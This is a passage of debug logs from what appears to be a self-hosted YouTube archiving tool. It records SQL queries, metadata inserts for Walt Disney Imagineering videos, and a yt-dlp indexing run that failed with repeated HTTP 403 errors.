parks, resorts, attractions, and cruise ships to life!\n\n🔍 *Explore More Episodes*\n⚡ Meet the Titans from the Disney Destiny Hercules Show → https://youtu.be/YEOyMN0RSpc\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → https://youtu.be/W9o9-nWVq2w\n👻 The Ichabod Crane Storytelling Window → https://youtu.be/k-xBwtP0x-k\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\nDrop a ✨ in the comments if you made it this far!", "Hong Kong Disneyland 20th Anniversary New Projections | Great Moments in Imagineering", "2h_2wZM2YeA", "https://www.youtube.com/watch?v=2h_2wZM2YeA", 131, false, "/downloads/Walt Disney Imagineering/2025-09-22 Hong Kong Disneyland 20th Anniversary New Projections | Great Moments in Imagineering/Hong Kong Disneyland 20th Anniversary New Projections | Great Moments in Imagineering [2h_2wZM2YeA].mp4", false, 2, ~U[2025-09-22 22:01:48Z]] 18:57:19.436 [debug] QUERY OK source="sources" db=0.1ms idle=796.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:57:19.437 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:57:19.437 [debug] QUERY OK source="media_items" db=0.2ms idle=3.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1850] 18:57:19.437 [debug] Current batch of media processed. Will check again in 1000ms 18:57:19.961 [info] {"source":"oban","duration":788,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:57:20.438 [debug] Current batch of media processed. Will check again in 1000ms 18:57:21.116 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@waltdisneyimagineering --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/9c/39/9c39f86b2684acf64a799be01b6249574fe17fc5fc39b3f415743f445a4a3b21.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/a8/99/a899794ad5471952299c80569feda7548dfe4a78e351f18be9c4a56180687fcd.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 101 with: ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue 18:57:21.118 [debug] Gracefully stopping file follower 18:57:21.118 [debug] QUERY OK source="sources" db=0.4ms idle=1680.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:57:21.119 [debug] QUERY OK source="sources" db=0.2ms idle=1681.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:57:21.120 [debug] QUERY OK source="media_items" db=0.7ms idle=1476.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-31 22:08:40Z], 2] 18:57:21.122 [debug] QUERY OK source="media_items" db=1.8ms idle=1159.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Step inside Mickey & Minnie’s Runaway Railway at Walt Disney World as we uncover even more hidden secrets, Easter eggs, and behind‑the‑scenes stories shared directly by the Disney Imagineers who built the attraction.\n\n🎥 *Behind-the-Scenes with Imagineers*\nWED Walks and WED Rides allows you to learn more about our Disney attractions and experiences with the Imagineers who brought them to life!\n\n🔍 *Explore More Episodes*\n🍿 Inside Mickey & Minnie’s Runaway Railway → https://youtu.be/qq0aU6SBP_M\n👻 Haunted Mansion Secrets Revealed → https://youtu.be/endLo0NqGaw\n🚙 Test Track WED Rides with Disney Imagineers → https://youtu.be/D4O6q-i1zmE \n🌼 Imagineer Stories at Journey of Water, Inspired by Moana → https://youtu.be/PjLH47DPbeI\n🏚️ Haunted Mansion New Queue Landscaping Tour with an Imagineer → https://youtu.be/_R5CKZ5R91A\n🥣 Tiana's Bayou Adventure Queue Tour with an Imagineer → https://youtu.be/s5d1ahYVzSE\n🎉 Tiana's Bayou Adventure Ride-A-Long with Disney Imagineers! → https://youtu.be/fNLeHJ7KL6s\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/", "MORE Imagineering Secrets & Stories at Mickey & Minnie's Runaway Railway", "b48c7ace-1b69-4abe-b306-48f54abb57b9", "4H_VF0Dw4gA", "https://www.youtube.com/watch?v=4H_VF0Dw4gA", false, 307, false, 1, "/downloads/Walt Disney Imagineering/2026-03-31 MORE Imagineering Secrets & Stories at Mickey & Minnie's Runaway Railway/MORE Imagineering Secrets & Stories at Mickey & Minnie's Runaway Railway [4H_VF0Dw4gA].mp4", false, false, 2, [], 98, ~U[2026-03-31 22:08:40Z], ~U[2026-03-31 22:57:21Z], ~U[2026-03-31 22:57:21Z], "Step inside Mickey & Minnie’s Runaway Railway at Walt Disney World as we uncover even more hidden secrets, Easter eggs, and behind‑the‑scenes stories shared directly by the Disney Imagineers who built the attraction.\n\n🎥 *Behind-the-Scenes with Imagineers*\nWED Walks and WED Rides allows you to learn more about our Disney attractions and experiences with the Imagineers who brought them to life!\n\n🔍 *Explore More Episodes*\n🍿 Inside Mickey & Minnie’s Runaway Railway → https://youtu.be/qq0aU6SBP_M\n👻 Haunted Mansion Secrets Revealed → https://youtu.be/endLo0NqGaw\n🚙 Test Track WED Rides with Disney Imagineers → https://youtu.be/D4O6q-i1zmE \n🌼 Imagineer Stories at Journey of Water, Inspired by Moana → https://youtu.be/PjLH47DPbeI\n🏚️ Haunted Mansion New Queue Landscaping Tour with an Imagineer → https://youtu.be/_R5CKZ5R91A\n🥣 Tiana's Bayou Adventure Queue Tour with an Imagineer → https://youtu.be/s5d1ahYVzSE\n🎉 Tiana's Bayou Adventure Ride-A-Long with Disney Imagineers! → https://youtu.be/fNLeHJ7KL6s\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/", "MORE Imagineering Secrets & Stories at Mickey & Minnie's Runaway Railway", "4H_VF0Dw4gA", "https://www.youtube.com/watch?v=4H_VF0Dw4gA", 307, false, "/downloads/Walt Disney Imagineering/2026-03-31 MORE Imagineering Secrets & Stories at Mickey & Minnie's Runaway Railway/MORE Imagineering Secrets & Stories at Mickey & Minnie's Runaway Railway [4H_VF0Dw4gA].mp4", false, 2, ~U[2026-03-31 22:08:40Z]] 18:57:21.122 [debug] QUERY OK source="sources" db=0.2ms idle=478.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:57:21.123 [debug] QUERY OK source="media_items" db=0.9ms idle=4.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-24 21:42:00Z], 2] 18:57:21.126 [debug] QUERY OK source="media_items" db=1.7ms idle=5.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Go behind the scenes of Disney Imagination Gardens aboard the Disney Adventure and discover how Walt Disney Imagineering, Disney Live Entertainment, and Disney Cruise Line collaborated to create one of the most unique performance spaces ever built for a cruise ship.\n\nWhat began as a simple “what if?” quickly became a fully integrated entertainment environment built around live performance, flying performers, immersive video, and virtual scenery extensions.\nYou’ll hear how the teams worked together to solve major creative challenges—like designing shows that can be viewed from multiple decks and even private stateroom balconies, hiding technical infrastructure in plain sight, and using large‑scale video screens to replace traditional scenery in an outdoor space.\n\n✨ *What makes this special?*\n• How Imagination Gardens was planned before the ship was fully designed\n• Why video screens and virtual scenery were essential to the space\n• How technology elements like the tech booth were hidden within the environment\n\n🎥 *Watch the Magic Unfold*\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 *Explore More Episodes*\n🎭 Three Stages in ONE Theater?! → https://youtu.be/Q1cJY2wpQRQ\n👻 Pepper's Ghost from Haunted Mansion to Test Track → https://youtu.be/m80WI0AK0P0\n✨ Hong Kong Disneyland 20th Anniversary Projections → https://youtu.be/2h_2wZM2YeA\n⚡ Meet the Titans from the Disney Destiny Hercules Show → https://youtu.be/YEOyMN0RSpc\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → https://youtu.be/W9o9-nWVq2w\n👻 The Ichabod Crane Storytelling Window → https://youtu.be/k-xBwtP0x-k\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/", "Imagination Gardens: A Walt Disney Imagineering & Disney Live Entertainment Collaboration", "0e15d77e-ada7-463e-99d8-eb7747368f2a", "xX48Eo_uC9c", "https://www.youtube.com/watch?v=xX48Eo_uC9c", false, 189, false, 2, "/downloads/Walt Disney Imagineering/2026-03-24 Imagination Gardens: A Walt Disney Imagineering & Disney Live Entertainment Collaboration/Imagination Gardens: A Walt Disney Imagineering & Disney Live Entertainment Collaboration [xX48Eo_uC9c].mp4", false, false, 2, [], 98, ~U[2026-03-24 21:42:00Z], ~U[2026-03-31 22:57:21Z], ~U[2026-03-31 22:57:21Z], "Go behind the scenes of Disney Imagination Gardens aboard the Disney Adventure and discover how Walt Disney Imagineering, Disney Live Entertainment, and Disney Cruise Line collaborated to create one of the most unique performance spaces ever built for a cruise ship.\n\nWhat began as a simple “what if?” quickly became a fully integrated entertainment environment built around live performance, flying performers, immersive video, and virtual scenery extensions.\nYou’ll hear how the teams worked together to solve major creative challenges—like designing shows that can be viewed from multiple decks and even private stateroom balconies, hiding technical infrastructure in plain sight, and using large‑scale video screens to replace traditional scenery in an outdoor space.\n\n✨ *What makes this special?*\n• How Imagination Gardens was planned before the ship was fully designed\n• Why video screens and virtual scenery were essential to the space\n• How technology elements like the tech booth were hidden within the environment\n\n🎥 *Watch the Magic Unfold*\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 *Explore More Episodes*\n🎭 Three Stages in ONE Theater?! → https://youtu.be/Q1cJY2wpQRQ\n👻 Pepper's Ghost from Haunted Mansion to Test Track → https://youtu.be/m80WI0AK0P0\n✨ Hong Kong Disneyland 20th Anniversary Projections → https://youtu.be/2h_2wZM2YeA\n⚡ Meet the Titans from the Disney Destiny Hercules Show → https://youtu.be/YEOyMN0RSpc\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → https://youtu.be/W9o9-nWVq2w\n👻 The Ichabod Crane Storytelling Window → https://youtu.be/k-xBwtP0x-k\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/", "Imagination Gardens: A Walt Disney Imagineering & Disney Live Entertainment Collaboration", "xX48Eo_uC9c", "https://www.youtube.com/watch?v=xX48Eo_uC9c", 189, false, "/downloads/Walt Disney Imagineering/2026-03-24 Imagination Gardens: A Walt Disney Imagineering & Disney Live Entertainment Collaboration/Imagination Gardens: A Walt Disney Imagineering & Disney Live Entertainment Collaboration [xX48Eo_uC9c].mp4", false, 2, ~U[2026-03-24 21:42:00Z]] 18:57:21.126 [debug] QUERY OK source="sources" db=0.2ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:57:21.127 [debug] QUERY OK source="media_items" db=0.5ms idle=4.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-17 20:17:15Z], 2] 18:57:21.128 [debug] QUERY OK source="media_items" db=1.1ms idle=4.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Animated characters often move in non-physical ways and have proportions that are far from a typical walking robot. This provides an ideal platform for innovation in both mechanical design and stylized motion control. In this video, we bring Olaf to life in the physical world, relying on reinforcement learning guided by animation references for control.\nPublication link: https://arxiv.org/abs/2512.16705\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/", "Olaf: Bringing an Animated Character to Life in the Physical World | Disney Research", "b1a3a42f-4d98-42e4-b004-0705f2cf5edd", "d-WdUYdOdHY", "https://www.youtube.com/watch?v=d-WdUYdOdHY", false, 267, false, 3, "/downloads/Walt Disney Imagineering/2026-03-17 Olaf: Bringing an Animated Character to Life in the Physical World | Disney Research/Olaf: Bringing an Animated Character to Life in the Physical World | Disney Research [d-WdUYdOdHY].mp4", false, false, 2, [], 98, ~U[2026-03-17 20:17:15Z], ~U[2026-03-31 22:57:21Z], ~U[2026-03-31 22:57:21Z], "Animated characters often move in non-physical ways and have proportions that are far from a typical walking robot. This provides an ideal platform for innovation in both mechanical design and stylized motion control. In this video, we bring Olaf to life in the physical world, relying on reinforcement learning guided by animation references for control.\nPublication link: https://arxiv.org/abs/2512.16705\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/", "Olaf: Bringing an Animated Character to Life in the Physical World | Disney Research", "d-WdUYdOdHY", "https://www.youtube.com/watch?v=d-WdUYdOdHY", 267, false, "/downloads/Walt Disney Imagineering/2026-03-17 Olaf: Bringing an Animated Character to Life in the Physical World | Disney Research/Olaf: Bringing an Animated Character to Life in the Physical World | Disney Research [d-WdUYdOdHY].mp4", false, 2, ~U[2026-03-17 20:17:15Z]] 18:57:21.129 [debug] QUERY OK source="sources" db=0.2ms idle=5.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:57:21.130 [debug] QUERY OK source="media_items" db=0.5ms idle=3.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-10 15:00:11Z], 2] 18:57:21.132 [debug] QUERY OK source="media_items" db=1.6ms idle=3.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Disney Adventure - the largest ship in the Disney Cruise Line fleet and the first designed specifically for the Southeast Asia market - is now sailing for all guests to enjoy. Imagineers designed this ship to be classic and modern, blending traditional Disney elements with cutting‑edge technology.\n\nDiscover how Imagineers transformed a half‑built vessel into a fully immersive Disney experience filled with groundbreaking technology, storytelling, and innovation at sea. This required extensive research, major redesigns, and innovative engineering, which delivered remarkable spaces like Imagination Garden, San Fransokyo Street, and so much more.\n\n🔑 *Key Takeaways*\n→ How Imagineers redesigned an existing ship into a fully Disney vessel\n→ All‑new stage technology with transparent LED walls and hidden speaker arrays\n→ Disney sets a new bar with its largest fireworks show at sea - Lion King: Celebration in the Sky fireworks spectacular\n\n📋 *Chapters*\nAdventure Overview: 1:13\nDisney Cruise Line Origins: 2:35\nImagination Gardens: 5:40\nOceaneers Club: 13:03\nRotational Dining: 16:05\nFireworks at Sea: 19:10\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-experiences/go-behind-the-scenes-in-imagineering-video-series/\n \n🎥 *About the Series*\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 *Explore More Episodes*\n🤖 R&D → https://youtu.be/EoPN02bmzrE\n👻 Foolish Mortals → https://youtu.be/CXLICqOYoh0\n🏰 Building Castles → https://youtu.be/dQ_xNj7gkM8\n🎤 On With The Show! → https://youtu.be/Xsrad7a9878\n🎢 Let's Ride → https://youtu.be/IuQPrGLo0QM\n🎶 Soundscapes → https://youtu.be/BSzRyCC_EaU\n🦾 Audio-Animatronics® → https://youtu.be/1e1R2vUORGI\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n💬 Drop a 🚢 in the comments if you hope to get on the Disney Adventure one day!", "Insider's Look at Disney Cruise Line's BIGGEST Ship in the Fleet | We Call It 